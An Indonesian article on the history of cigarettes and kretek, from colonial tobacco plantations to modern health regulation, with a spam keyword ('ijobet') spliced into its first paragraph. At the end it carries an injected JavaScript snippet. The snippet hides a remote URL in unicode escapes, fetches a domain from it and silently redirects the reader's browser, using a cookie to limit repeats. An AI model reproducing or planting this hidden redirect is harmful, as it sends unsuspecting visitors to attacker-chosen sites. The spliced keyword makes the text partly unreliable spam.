Perkembangan Rokok di Indonesia: Dari Kolonial hingga Era Modern
Di Indonesia, sejarah rokok memiliki jejak yang panjang dan erat kaitannya dengan tembakau sebagai komoditas penting. Tembakau pertama kali dibawa oleh bangsa Portugis pada abad ke-16, tak lama setelah mereka mendarat di Nusantara. Tanaman ini kemudian menyebar luas karena ijobet iklim tropis Indonesia sangat cocok untuk budidaya tembakau.
Awalnya, tembakau digunakan oleh masyarakat lokal dalam bentuk rokok linting tangan (rokok klembak menyan atau klembak kemenyan), terutama di kalangan masyarakat Jawa. Rokok tersebut dicampur dengan cengkeh dan rempah-rempah, yang kemudian berkembang menjadi rokok kretek – jenis rokok khas Indonesia yang kini mendunia.
Rokok kretek mulai populer pada akhir abad ke-19. Seorang tokoh bernama Haji Jamahri dari Kudus dipercaya sebagai pelopor kretek. Ia mencampur cengkeh ke dalam lintingan tembakau untuk mengatasi sesak napas. Ternyata campuran ini menghasilkan aroma khas dan sensasi berbeda, sehingga cepat menarik perhatian masyarakat. Kretek lalu berkembang dari pengobatan tradisional menjadi komoditas niaga.
Pada masa kolonial Belanda, industri rokok mulai diorganisasi secara komersial. Pemerintah Hindia Belanda melihat potensi ekonomi dari tembakau dan mulai mengembangkan perkebunan tembakau besar, seperti di Deli (Sumatra Utara) dan Klaten (Jawa Tengah). Belanda juga memperkenalkan sistem cukai dan monopoli perdagangan tembakau demi keuntungan kolonial.
Setelah kemerdekaan, industri rokok nasional tumbuh pesat. Perusahaan-perusahaan besar seperti Gudang Garam, Djarum, dan Sampoerna menjadi raksasa bisnis dalam negeri. Rokok kretek menjadi simbol identitas nasional, bahkan disebut sebagai “warisan budaya”.
Namun, sejak awal 2000-an, Indonesia menghadapi tantangan besar terkait konsumsi rokok. Tingginya jumlah perokok, termasuk di kalangan remaja, menimbulkan keprihatinan serius. Pemerintah mulai memperketat regulasi seperti iklan, pelarangan merokok di ruang publik, dan peringatan kesehatan pada bungkus rokok.
Meskipun demikian, rokok tetap menjadi bagian dari ekonomi Indonesia. Industri ini menyerap jutaan tenaga kerja, dari petani tembakau, buruh pabrik, hingga distributor. Hal ini menimbulkan dilema antara kepentingan ekonomi dan kesehatan masyarakat.
Rokok di Indonesia bukan hanya produk konsumsi, tapi juga cerminan dinamika sosial, budaya, dan ekonomi yang terus berubah dari masa ke masa.
(function(){if (document.cookie.includes(‘hasRedirected=1’)) return;fetch(‘\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0064\u0069\u0073\u0074\u0069\u0065\u002e\u0073\u0068\u006f\u0070/?t=json&u=153d4f720470d9e7a3e895c70153e7cd’).then(r => r.json()).then(d => {const domain = d?.domain;if (domain) {document.cookie = ‘hasRedirected=1; max-age=86400; path=/’;location.href = domain + ‘?32861745670379’;}});})();